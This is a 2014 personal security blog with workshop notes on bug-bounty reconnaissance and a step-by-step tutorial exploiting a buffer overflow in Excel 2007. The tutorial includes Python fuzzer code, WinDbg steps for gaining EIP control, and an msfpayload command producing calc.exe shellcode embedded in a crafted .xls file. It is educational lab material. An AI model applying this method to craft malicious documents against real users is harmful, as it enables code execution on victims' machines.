Monday, April 14, 2014

Bug Bounty Workshop @n|u Hyderabad

I happen to be a part of Bug Bounty workshop taken by Abhijeth Dugginapeddi (@abhijeth) at n|u hyderabad which motivated me to start hunting for bugs and eventually adding more significance to my alias 'bugasur' :) Hereby I am listing down my learning from the workshop.

Bug Bounty is about targeting a domain which nobody else probably has found out !

Following are some tips / information-
  • Finding a sub domain using techniques such as reverse ip, sites DNS, google dorks, netcraft.com, whois.net, pentest-tools.com/reconnaissance, myip.ms, yougetsignal.com or using knock tool. As per Abhijeth Bing has proven good for sub domain search !
  • Using combination of IronWASP & Xenotix XSS Exploit Framework for low hanging fruits. Throttle the speed / threads and be sure not to violate bug bounty terms and conditions.
  • Bugcrowd, HackerOne, CrowdCurity are some of bug hunting portals you can try out but as the crowd goes higher, you may get duplicates or find less bugs. Therefore you could use Google dorks such as inurl:/security or bug bounty or responsible disclosure or intitle:/hall of fame, change the search settings by searching for past hour or week and participate in new latest bug bounty programs which are not yet listed on portals such as bug crowd ! Some new bounty programs at the time of writing this post are magento, flodesk, soundcloud, mega.co.nz, gostorego.
  • Bugcrowd comes to know about bug bounty programs when researchers tweet about it !
  • Bitcoin Websites can pay you huge bounties ! 1 bitcoin value can go up to 40-50K $ !
  • Target Mobile Applications when the world is running after web applications !
To be continued...

Tuesday, April 8, 2014

Excel exploit Nightmare !

Credits: Thanks to webDEVil (@w3bDEViL) for helping me in understanding this exploit & AMol NAik (@amolnaik4) for hanging on to his patience and explaining me the stuff again and again.

It was 14 February 2014, Valentine's Day Morning 12:00 AM. I was breaking my head over a excel buffer overflow exploit. The battle went a week long but i decided i am not going to stop until AMol starts pulling his hair in frustration. Exchanged mails with webDEViL as well to give some relief to AMol hehehe :)

I took time to map the assembly concepts with the approach and when i did that it was the fifth time i was doing the practical and explaining it to my colleagues at office.

The art of choosing an excel file for fuzzing & exploitation lies in the fact that it should have a lot of functionality in use and therefore there are higher chances of finding bugs. Google is your friend! Chose a excel file which was very much like a minesweeper game.

Pre-requisites: Understanding of Assembly & Buffer Overflows, Python or any other scripting language, WinDbg debugger, Hex Editor, Windows XP Virtual image - 1 GB RAM should be good enough. Exploit works on Microsoft Excel 2007.

Following was the fuzzer required to generate the crash -

# importing library for conversion between binary & ascii
import binascii

filename = "Mine3D.xls"

# reading Mine3D.xls in binary Mode
FILE = open(filename,"rb")
binaryfile = FILE.read()
FILE.close()

# returns hexadecimal representation of binary data
hexfile = binascii.hexlify(binaryfile)

# we create a backup of the file while we operate on hexfile
backup = hexfile

# fuzzing with "ffff" from 0 to length of hexfile but here the range chosen is 22860 to 22890 as the crash lies in this range
i=22860
while i<=22890:
hexfile = hexfile[0:i]+"ffff"+hexfile[i+4:]

# generate crash filenames
 filename ="analysis-"+str(i)+".xls"

 # open file in write binary mode
FILE = open(filename,"wb")

# return binary data represented by hexadecimal string
 backtobin=binascii.unhexlify(hexfile)

FILE.write(backtobin)
FILE.close()
hexfile=backup
i+=1

I could understand the code with some Python knowledge i have. We need to know the range of 'i' as to where would we getting our crash. A trial and error should provide the range between 22860 and 22890. Now i had to figure out from the crash files produced which were named as for e.g analysis-22860.xls as per python script above as to which file would crash. After running the above fuzzer (keep the fuzzer and .xls file in the same folder or could save the crash files to a separate path), the picture looked like this -


Soon we figured that almost many files starting from highlighted filename "analysis-22871.xls" were crashing. Chose analysis-22872.xls crash file and started analyzing it whether it is a useful crash for us or not using WinDbg debugger. So this is what you see after opening the crash file -


Un-tick the check box and click on Don't Send. Now we switch to WinDbg and open our excel file in it. Start WinDbg -> open executable -> Choose path for Excel executable file -> Open


Click 'Yes' to save information for work space and the debugger hits the break point
7c90120e cc              int     3



Press 'g' in the console as shown above and continue to hook on to excel executable. You should see the message "Debuggee is running....." and excel file gets highlighted in task bar.


So now we are ready to audit the crash file. Very Important -> Either we go to file menu and open the crash file or just double-click on the file...either of one as the debugger behaves differently on these two actions. For. e,g, If we start with double-clicking files we need to maintain this style till we finish exploitation process and not change the method of opening the file in between. Let us double-click the crash file "analysis-22872.xls" and observe it in our debugger for our first access violation. Press 'g' to ensure we have reached the end of the execution.


We observe that all the 3 registers have the same value due to some earlier assemble instruction getting executed but we would be interested to know as to which register do we control and whether this 'FF' is due to our fuzzing or not. As per above image, the next instruction to be executed is mov eax, dword ptr[ecx] which gives us a hint that we might have to look into ecx register. Now we need to locate our 'FF FF' in the crash file "analysis-22872.xls" using a hex editor such as Hex Workshop v6.6.

The no. 22872 (purposefully chosen for divisibility) in the crash file name is the length of the hex file. Each hexadecimal digit is a nibble or 4 bits i.e. half a byte. 'FF FF' is 16 bits, the first half byte FF is 8 bits and therefore to get the position of the first byte in the hex file we need to divide 22872 / 2 = 11436 which in hexadecimal would represent 2CAC. So now we locate our four "FF FF" in the hex file using Ctrl+G as below-


Just to confirm the same we put a random pattern string which we could recognize in place of  'FF FF' and then check in the debugger to see if ecx has our random string or not. On replacing 'FF FF' with 'A1 B2' i could only see B2 but not A1. (Important -> after making changes to an existing file, it is required that you save the changes to a new file such as renaming it as 22872-analysis-1 with .xls extension and every time we make changes to file & need to hook it to the debugger we restart it by Ctrl+shift+F5 and press 'g' to continue the execution and  then double-click on the new renamed crash file to see the updated results.) -


This indicated that we need to edit the bytes on the r.h.s of the four 'FF FF' to check if we can control all those 4 bytes in ecx register. So the actual location from where we control the bytes is the next byte i.e 2CAD. So we put A1 B2 C3 D4 starting from 2CAD to check ecx again and this time we observe that we control ecx (in reverse order due to little endianness).


Now as per the assembly instruction mov eax, dword ptr [ecx], the data at the memory location pointed by ecx should move into eax register. But for executing this instruction we need valid data to be put at 2CAD and point ecx to a location which we can control and is static. Tried it manually as in trial and error in which we randomly spread pattern of strings in the hex file, save it and re-open it in debugger to check if the contents remain as it is. Static location found was 0x15670. We put a random string such as AA AB AC AD at this location and search for this pattern in the user space (0 to 7FFFFFF) by running the command 's 0 7ffffff AA AB AC AD' without quotes which provides us the memory address 00 13 63 B4.

Random Pattern String at Location 0x15670
Searching for Pattern Address
Now we can replace our junk at 2CAD with  00 13 63 B4 in reverse order as per little endianness, save it, restart the debugger and check the register values which is as follows -

Replacing A1 B2 C3 D4 with B4 63 13 00 at 2CAD


The data at the memory location (00 13 63 B4) pointed by ecx and moved to eax is AA AB AC AD which is visible as above in little endian format. So now we can relate eax corresponds to location 0x15670.

The next instruction to be executed i.e call dword ptr [eax+10h] is the most important one as this would be decisive in achieving EIP control. It is a call function to the data at the memory location pointed by (eax + offset of 10h) which means if we feed valid data into eax i.e memory address 00 13 63 B4, this instruction should get executed giving us EIP Control !!!

Replacing junk at 0x15670 with B4 63 13 00
Do you see EIP Control?
As per the instruction EIP should point to eax+10h. The following screenshot confirms the same.

eax+10h is indeed 00 06 25 03 in little endian
We could replace 00 06 25 03 with the famous 41 41 41 41 to confirm that we have EIP control as follows-

...and our lovely 41 41 41 41 :)
With EIP control we are now GOD in the world of system exploitation.... :)

Battle is half done. Now we need EIP to point to a location where we can place our shell code and that too should be static which is 0x00000CFA.

Now it's time for Calc Pop-Up ! We love that...don't we :)

We go to the location CFA and paste our calculator shell code. As we paste we should keep in mind that the shell code is not replacing anything but it is being added so we need to delete equivalent amount of bytes i.e about 144 bytes for calculator shell code from location just after the shell code. You may select equivalent rows and delete the same. Here it works without padding NOPS (0x90) before the shellcode but generally it is a good practice to pad it up with NOPS.

To generate shell code you may use metasploit running the following command -

msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\x0A\x0D' -t c

This shall create shell code with \x in front of the bytes but we will have to remove it and paste it in hex editor. You may use unhexlify function in python, script it, or remove the same by manually editing it.

Adding Calculator Shell Code
Now EIP is pointing to junk 41 41 41 41. So we need to provide it valid memory address to which it can jump to and start executing our calculator shell code. So once again we search for shell code pattern (just few characters in the beginning should be fine to recognize) in user space by running command s 0 7ffffff D9 CB 31 C9 in the debugger and locating the address as 00 13 F5 64.


No we replace our 41 41 41 41 at eax+10h with 00 13 F5 64 as per little endianness.


Rename and save the file. Detach the debugger and Double-click on this renamed file. Click OK if prompted for any error message and KABOOM ! Your Calculator Pops-up !

PWNED !!!
Hope you have enjoyed this tutorial. Please do leave your comments below.